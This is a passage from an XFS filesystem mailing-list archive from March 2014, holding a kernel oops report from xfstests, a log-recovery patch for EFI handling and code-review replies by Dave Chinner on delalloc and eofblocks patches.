(8.14.4/8.14.4) with ESMTP id s2VHMjQV012082 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 31 Mar 2014 13:22:45 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2VHMjF6030548; Mon, 31 Mar 2014 13:22:45 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id E137A123C1C; Mon, 31 Mar 2014 13:22:43 -0400 (EDT) Date: Mon, 31 Mar 2014 13:22:43 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, Viro@disappointment.disaster, viro@ZenIV.linux.org.uk, Al@disappointment.disaster Subject: Re: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... Message-ID: <20140331172243.GB63718@bfoster.bfoster> X-ASG-Orig-Subj: Re: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... References: <1395396710-3824-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396286567 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 21, 2014 at 09:11:44PM +1100, Dave Chinner wrote: > Hi folks, > > This patch series mostly shuts a can of worms that Al opened when he > found the cause of the generic/263 fsx failures. The fix for that is > patch 6 of this series, but, well, there are a bunch of other > problems that need to be fixed before making that change. > > Basically, the direct Io block mapping behaviour was covering up a > bunch of other bugs in the delayed allocation extent/page cache > state coherency mappings. Essentially, we punch out the page cache > in quite a few places without first cleaning up delayed allocation > extents over that range and that exposes all sorts of nasty issues > once the direct IO mapping changes are made. All of these are > existing problems, most of them are very unlikely to be seen in the > wild. > > This patch set passes xfstests on a 4k block size/4k page size > config with out problems. However, there is still a fsx failure in > generic/127 on 1k block size/4k page size configurations that I > haven't yet tracked down. That test was failing occasionally before > this patch set as well, so it may be a completely unrelated problem. > > The sad fact of this patchset is it is mostly playing whack-a-mole > with visible symptoms of bugs. It drives home the fact that > bufferheads and the keeping of internal filesystem state attached to > the page cache simply isn't a verifiable architecture. After > spending several days of doing nothing else but tracking down these > inconsistencies i can only conclude that the code is complex, > fragile and extremely difficult to verify that behaviour is correct. > As such, I doubt that the fixes are entirely correct, so I'm left > with using fsx and fsstress to tell me if I've broken anything. > > Eyeballs appreciated, as is test results. > I had an xfstests running against this (on for-next) over the weekend and it hit the following bug on xfs/297: [ 6408.168767] kernel BUG at fs/xfs/xfs_aops.c:1336! [ 6408.169542] invalid opcode: 0000 [#1] SMP [ 6408.169542] Modules linked in: loop xfs libcrc32c ip6t_rpfilter ip6t_REJECT xt_conntrack cfg80211 rfkill ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw ppdev snd_hda_intel snd_hda_codec snd_hwdep snd_seq snd_seq_device microcode snd_pcm serio_raw virtio_balloon virtio_console snd_timer snd parport_pc parport soundcore i2c_piix4 nfsd auth_rpcgss nfs_acl lockd sunrpc virtio_blk virtio_net qxl drm_kms_helper ttm drm i2c_core ata_generic virtio_pci virtio_ring virtio pata_acpi [last unloaded: scsi_debug] [ 6408.169542] CPU: 0 PID: 28956 Comm: fsstress Not tainted 3.14.0-rc1+ #11 [ 6408.169542] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 6408.169542] task: ffff880074860000 ti: ffff880074868000 task.ti: ffff880074868000 [ 6408.169542] RIP: 0010:[] [] __xfs_get_blocks+0x7f0/0x800 [xfs] [ 6408.169542] RSP: 0018:ffff880074869a00 EFLAGS: 00010202 [ 6408.169542] RAX: ffffffffffffffff RBX: 00000000000fa000 RCX: 00000000000000fa [ 6408.169542] RDX: ffff8800d5686cc0 RSI: 0000000000000001 RDI: 0000000000000246 [ 6408.169542] RBP: ffff880074869a78 R08: 0000000000000113 R09: 0000000000000000 [ 6408.169542] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000019000 [ 6408.169542] R13: ffff8800a38b9350 R14: ffff8800aa62e7b0 R15: ffff880074869b80 [ 6408.169542] FS: 00007f3ddd3bd740(0000) GS:ffff88011ae00000(0000) knlGS:0000000000000000 [ 6408.169542] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 6408.169542] CR2: 00007f3dd801c000 CR3: 0000000077977000 CR4: 00000000000006f0 [ 6408.169542] Stack: [ 6408.169542] 00007f3d00000000 00007f3d00000008 ffffff01000f18cd 00000000000000fa [ 6408.169542] ffff8800a38b9080 00000001aab24840 00000000000000c3 ffffffffffffffff [ 6408.169542] 000000000000003d ffff880000000000 0000000000000e00 0000000000000003 [ 6408.169542] Call Trace: [ 6408.169542] [] xfs_get_blocks_direct+0x14/0x20 [xfs] [ 6408.169542] [] do_blockdev_direct_IO+0x10e4/0x2ad0 [ 6408.169542] [] ? find_get_pages_tag+0x25/0x310 [ 6408.169542] [] ? xfs_get_blocks+0x20/0x20 [xfs] [ 6408.169542] [] __blockdev_direct_IO+0x55/0x60 [ 6408.169542] [] ? xfs_get_blocks+0x20/0x20 [xfs] [ 6408.169542] [] xfs_vm_direct_IO+0x152/0x170 [xfs] [ 6408.169542] [] ? xfs_get_blocks+0x20/0x20 [xfs] [ 6408.169542] [] generic_file_aio_read+0x6fd/0x760 [ 6408.169542] [] ? mutex_unlock+0xe/0x10 [ 6408.169542] [] ? unmap_mapping_range+0x88/0x170 [ 6408.169542] [] ? trace_hardirqs_on+0xd/0x10 [ 6408.169542] [] xfs_file_aio_read+0x14c/0x3b0 [xfs] [ 6408.169542] [] do_sync_read+0x5a/0x90 [ 6408.169542] [] vfs_read+0x9e/0x170 [ 6408.169542] [] SyS_read+0x4c/0xa0 [ 6408.169542] [] ? __audit_syscall_entry+0x9c/0xf0 [ 6408.169542] [] system_call_fastpath+0x16/0x1b [ 6408.169542] Code: 85 2e fd ff ff e9 10 ff ff ff 48 c7 c7 e0 11 c5 81 4c 89 55 90 e8 81 47 cd e0 85 c0 4c 8b 55 90 0f 85 e2 fd ff ff e9 7a ff ff ff <0f> 0b 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 [ 6408.200988] RIP [] __xfs_get_blocks+0x7f0/0x800 [xfs] [ 6408.200988] RSP [ 6408.203708] ---[ end trace 40a923b54ddca373 ]--- Brian > Cheers, > > Dave. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From david@fromorbit.com Mon Mar 31 15:18:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 020977F51 for ; Mon, 31 Mar 2014 15:18:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D454AC003 for ; Mon, 31 Mar 2014 13:18:02 -0700 (PDT) X-ASG-Debug-ID: 1396297079-04cb6c5676b7a250001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5O1hkRDMKzfQdCON for ; Mon, 31 Mar 2014 13:18:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao9NAInMOVN5LEcvPGdsb2JhbABZgwaIVrYIhV2BIBcDAQEBATg1giUBAQEEOhwjEAgDDgQGCSUPBSUDBwYUE4d40EoXFo5pB4MkgRQEmE2Veik Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Apr 2014 06:47:58 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUieb-0001Ko-Ms; Tue, 01 Apr 2014 07:17:57 +1100 Date: Tue, 1 Apr 2014 07:17:57 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, Viro@disappointment.disaster, viro@ZenIV.linux.org.uk, Al@disappointment.disaster Subject: Re: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... Message-ID: <20140331201757.GC17603@dastard> X-ASG-Orig-Subj: Re: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... References: <1395396710-3824-1-git-send-email-david@fromorbit.com> <20140331172243.GB63718@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140331172243.GB63718@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396297079 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4464 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 31, 2014 at 01:22:43PM -0400, Brian Foster wrote: > On Fri, Mar 21, 2014 at 09:11:44PM +1100, Dave Chinner wrote: > > Hi folks, > > > > This patch series mostly shuts a can of worms that Al opened when he > > found the cause of the generic/263 fsx failures. The fix for that is > > patch 6 of this series, but, well, there are a bunch of other > > problems that need to be fixed before making that change. > > > > Basically, the direct Io block mapping behaviour was covering up a > > bunch of other bugs in the delayed allocation extent/page cache > > state coherency mappings. Essentially, we punch out the page cache > > in quite a few places without first cleaning up delayed allocation > > extents over that range and that exposes all sorts of nasty issues > > once the direct IO mapping changes are made. All of these are > > existing problems, most of them are very unlikely to be seen in the > > wild. > > > > This patch set passes xfstests on a 4k block size/4k page size > > config with out problems. However, there is still a fsx failure in > > generic/127 on 1k block size/4k page size configurations that I > > haven't yet tracked down. That test was failing occasionally before > > this patch set as well, so it may be a completely unrelated problem. > > > > The sad fact of this patchset is it is mostly playing whack-a-mole > > with visible symptoms of bugs. It drives home the fact that > > bufferheads and the keeping of internal filesystem state attached to > > the page cache simply isn't a verifiable architecture. After > > spending several days of doing nothing else but tracking down these > > inconsistencies i can only conclude that the code is complex, > > fragile and extremely difficult to verify that behaviour is correct. > > As such, I doubt that the fixes are entirely correct, so I'm left > > with using fsx and fsstress to tell me if I've broken anything. > > > > Eyeballs appreciated, as is test results. > > > > I had an xfstests running against this (on for-next) over the weekend > and it hit the following bug on xfs/297: > > [ 6408.168767] kernel BUG at fs/xfs/xfs_aops.c:1336! > [ 6408.169542] invalid opcode: 0000 [#1] SMP Ok, so that's found another stale delalloc range where there shouldn't be. I know there were still problems when I left because generic/127 was failing on 1k block size filesystems, but I haven't yet had a chance to get back to determine if the bug was the broken code in xfs_check_page_types() that Dan Carpenter noticed. Were you running with that fix? Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@eagdhcp-232-178.americas.sgi.com Mon Mar 31 15:30:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 53C767F53 for ; Mon, 31 Mar 2014 15:30:42 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4597AC002 for ; Mon, 31 Mar 2014 13:30:41 -0700 (PDT) Received: from eagdhcp-232-178.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-178.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2VKUfW9002497 for ; Mon, 31 Mar 2014 15:30:41 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-178.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-178.americas.sgi.com (8.14.5/8.14.5/Submit) id s2VKUfFM002496; Mon, 31 Mar 2014 15:30:41 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140331202615.264666182@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Mon, 31 Mar 2014 15:25:56 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH v2 1/2] xfs: remove efi from AIL in log recovery References: <20140325195819.638326569@sgi.com> Content-Disposition: inline; filename=xfs-fix-efi-in-log-recovery-error.patch xlog_recover_process_efi{s}() functions are completing the second half of xfs_bmap_finish() which frees extents. If this operation fails, the EFI will stay on the AIL and prevents the xfs_ail_push all_sync() from completing and the mount will fail to unmount. Rather than have a special log recovery flag XFS_EFI_RECOVERED to decrement the EFI/EFD counter, call the same decrement function from the log recovery routine that is called then the EFI is added to the AIL from a log write. Remove all other unprocessed EFIs from the log recovery AIL when one is discovered in error. Signed-off-by: Mark Tinguely --- v2 per Brian's feedback: decrement the EFI counter again when removing EFI entries after the entry with the error. add comment in xlog_recover_process_efis() where we delete the EFIs. v1: Rewritten with suggestions from Dave. Note: calling xfs_efi_item_unpin() seemed more explainatory than calling the helper __xfs_efi_release(). fs/xfs/xfs_extfree_item.c | 9 +++------ fs/xfs/xfs_log_recover.c | 37 ++++++++++++++++++++++++------------- fs/xfs/xfs_trans.h | 1 + 3 files changed, 28 insertions(+), 19 deletions(-) Index: b/fs/xfs/xfs_extfree_item.c =================================================================== --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -134,9 +134,10 @@ xfs_efi_item_pin( * remove the EFI it's because the transaction has been cancelled and by * definition that means the EFI cannot be in the AIL so remove it from the * transaction and free it. Otherwise coordinate with xfs_efi_release() - * to determine who gets to free the EFI. + * to determine who gets to free the EFI. Call from log recovery of EFI + * entries so the EFD or error handling will remove the entry. */ -STATIC void +void xfs_efi_item_unpin( struct xfs_log_item *lip, int remove) @@ -313,10 +314,6 @@ xfs_efi_release(xfs_efi_log_item_t *efip { ASSERT(atomic_read(&efip->efi_next_extent) >= nextents); if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) { - /* recovery needs us to drop the EFI reference, too */ - if (test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) - __xfs_efi_release(efip); - __xfs_efi_release(efip); /* efip may now have been freed, do not reference it again. */ } Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3634,6 +3634,7 @@ xlog_recover_process_data( /* * Process an extent free intent item that was recovered from * the log. We need to free the extents that it describes. + * The caller will release this and any following EFIs upon error. */ STATIC int xlog_recover_process_efi( @@ -3648,6 +3649,13 @@ xlog_recover_process_efi( xfs_fsblock_t startblock_fsb; ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); + + /* + * Decrement the EFI/EFD counter so the EFI is removed after + * processing the EFD or error handling in the caller. + */ + xfs_efi_item_unpin(&efip->efi_item, 0); /* * First check the validity of the extents described by the @@ -3662,12 +3670,6 @@ xlog_recover_process_efi( (extp->ext_len == 0) || (startblock_fsb >= mp->m_sb.sb_dblocks) || (extp->ext_len >= mp->m_sb.sb_agblocks)) { - /* - * This will pull the EFI from the AIL and - * free the memory associated with it. - */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - xfs_efi_release(efip, efip->efi_format.efi_nextents); return XFS_ERROR(EIO); } } @@ -3687,7 +3689,6 @@ xlog_recover_process_efi( extp->ext_len); } - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); error = xfs_trans_commit(tp, 0); return error; @@ -3718,8 +3719,8 @@ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; int error = 0; struct xfs_ail_cursor cur; struct xfs_ail *ailp; @@ -3750,13 +3751,23 @@ xlog_recover_process_efis( } spin_unlock(&ailp->xa_lock); - error = xlog_recover_process_efi(log->l_mp, efip); - spin_lock(&ailp->xa_lock); + if (error) { + /* + * An error happened while processing a previous + * EFI entry. Since the extents are freed in order, + * skip the remaining unprocessed EFIs. To do this + * the EFI entry counter must be decremented once + * here and the entry will be decremented and removed + * with the following xfs_efi_release(). + */ + xfs_efi_item_unpin(&efip->efi_item, 0); + } else + error = xlog_recover_process_efi(log->l_mp, efip); if (error) - goto out; + xfs_efi_release(efip, efip->efi_format.efi_nextents); + spin_lock(&ailp->xa_lock); lip = xfs_trans_ail_cursor_next(ailp, &cur); } -out: xfs_trans_ail_cursor_done(ailp, &cur); spin_unlock(&ailp->xa_lock); return error; Index: b/fs/xfs/xfs_trans.h =================================================================== --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -216,6 +216,7 @@ void xfs_trans_ijoin(struct xfs_trans * void xfs_trans_log_buf(xfs_trans_t *, struct xfs_buf *, uint, uint); void xfs_trans_log_inode(xfs_trans_t *, struct xfs_inode *, uint); struct xfs_efi_log_item *xfs_trans_get_efi(xfs_trans_t *, uint); +void xfs_efi_item_unpin(struct xfs_log_item *, int); void xfs_efi_release(struct xfs_efi_log_item *, uint); void xfs_trans_log_efi_extent(xfs_trans_t *, struct xfs_efi_log_item *, From david@fromorbit.com Mon Mar 31 16:40:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 91A827F53 for ; Mon, 31 Mar 2014 16:40:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 80E738F8033 for ; Mon, 31 Mar 2014 14:40:29 -0700 (PDT) X-ASG-Debug-ID: 1396302027-04bdf076f08cda50001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 3suv6fZ8hjM309lr for ; Mon, 31 Mar 2014 14:40:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkVjAHPgOVN5LEcvPGdsb2JhbABZgwY7qmaTSIVdgSMXAwEBAQE4NYIlAQEBBDocIxAIAxgJJQ8FJQMHGhOHeA7RMBcWjGmCAAeDJIEUBJhNlXop Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Apr 2014 08:10:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUjwG-0001b5-5I; Tue, 01 Apr 2014 08:40:16 +1100 Date: Tue, 1 Apr 2014 08:40:16 +1100 From: Dave Chinner To: Mark Tinguely Cc: XFS Mailing List Subject: Re: [PATCH] xfs: fix bad hash ordering Message-ID: <20140331214016.GD17603@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix bad hash ordering References: <20140328173430.622616177@sgi.com> <20140331001055.GD16336@dastard> <53399B06.5010400@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53399B06.5010400@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396302027 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4466 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 31, 2014 at 11:42:46AM -0500, Mark Tinguely wrote: > On 03/30/14 19:10, Dave Chinner wrote: > >On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: > >>Fix the fix directory "bad hash ordering" bug introduced in > >>commit f5ea1100. > > > > ... > > > > >>--- > >>A C program that generates this problem can be found at: > >> http://oss.sgi.com/archives/xfs/2014-03/msg00373.html > >> > >>A xfstest for this bug is coming from Hannes Frederic Sowa. > > > >Can you convert this program to an xfstest yourself so that I can > >commit the regression test at the same time I commit an updated > >fix? > > We narrowed the iterations down to make it a quick test. > I have every confidence that Hannes can generate the test in a timely > manner and I will help in any way possible. Well, it's been over a week now and you're asking me to trust that someone I don't know and who has never submitted an xfstests before to do something in a timely manner so we can test a critical bug fix during a merge window. I'm willing to be pleasently surprised, but history tells me that people that report bugs rarely follow up with xfstest cases and it's usually the developer that fixes the bug that generates the xfstests patch. So if the xfstests patch doesn't arrive in the next few hours, can you please do that for us so I can get this sorted out for the merge window? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 31 16:48:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C2AE7F55 for ; Mon, 31 Mar 2014 16:48:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0A91A304059 for ; Mon, 31 Mar 2014 14:47:57 -0700 (PDT) X-ASG-Debug-ID: 1396302475-04bdf05daaba52b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id JwsBe3g1CH85gh1p for ; Mon, 31 Mar 2014 14:47:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao1NAGThOVN5LEcvPGdsb2JhbABZgwaIVrYThV2BJBcDAQEBATg1giUBAQEEJxMcIxAIAw4KCSUPBSUDBxoTh3jRPhcWjgVkB4MkgRQEmE2KXYsdKYEs Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Apr 2014 08:17:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUk3e-0001c6-3u; Tue, 01 Apr 2014 08:47:54 +1100 Date: Tue, 1 Apr 2014 08:47:54 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: add flush flag to xfs_eofblocks Message-ID: <20140331214754.GE17603@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: add flush flag to xfs_eofblocks References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> <1396012563-60973-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1396012563-60973-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396302475 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4466 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 28, 2014 at 09:16:00AM -0400, Brian Foster wrote: > The flush flag allows the caller to issue a flush for scanned inodes. In > ENOSPC conditions caused by project quotas, a flush is required to free > up reserved metadata allocations. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_fs.h | 4 +++- > fs/xfs/xfs_icache.c | 3 +++ > 2 files changed, 6 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index c5fc116..fa3a58e 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -374,12 +374,14 @@ struct xfs_fs_eofblocks { > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ > #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ > #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ > +#define XFS_EOF_FLAGS_FLUSH (1 << 5) /* issue a flush */ > #define XFS_EOF_FLAGS_VALID \ > (XFS_EOF_FLAGS_SYNC | \ > XFS_EOF_FLAGS_UID | \ > XFS_EOF_FLAGS_GID | \ > XFS_EOF_FLAGS_PRID | \ > - XFS_EOF_FLAGS_MINFILESIZE) > + XFS_EOF_FLAGS_MINFILESIZE | \ > + XFS_EOF_FLAGS_FLUSH) > > > /* > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index 7ff59c9..d4e15db 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -1231,6 +1231,9 @@ xfs_inode_free_eofblocks( > if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && > XFS_ISIZE(ip) < eofb->eof_min_file_size) > return 0; > + > + if (eofb->eof_flags & XFS_EOF_FLAGS_FLUSH) > + filemap_flush(VFS_I(ip)->i_mapping); So this does WB_SYNC_NONE writeback, which means the filesystem is free to ignore it when we get to .writepage. Given that we are are ENOSPC here, wouldn't it be better to guarantee that writeback will occur (i.e. use filemap_fdatawrite())? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 31 17:23:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 75AC67F53 for ; Mon, 31 Mar 2014 17:23:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E7772AC002 for ; Mon, 31 Mar 2014 15:22:57 -0700 (PDT) X-ASG-Debug-ID: 1396304570-04cb6c5675b7fd60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id uSbFuTq5e8mQiHLS for ; Mon, 31 Mar 2014 15:22:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApBNANLpOVN5LEcvPGdsb2JhbABZgwaIVrYThV2BIxcDAQEBATg1giUBAQEDAScTHCMFCwgDDgoJJQ8FJQMHGhOHcQfRThcWjhIKTQeDJIEUBJhNlXopgS0 Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 01 Apr 2014 08:52:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUkbP-0001hY-33; Tue, 01 Apr 2014 09:22:47 +1100 Date: Tue, 1 Apr 2014 09:22:47 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: run an eofblocks scan on ENOSPC/EDQUOT Message-ID: <20140331222246.GF17603@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: run an eofblocks scan on ENOSPC/EDQUOT References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> 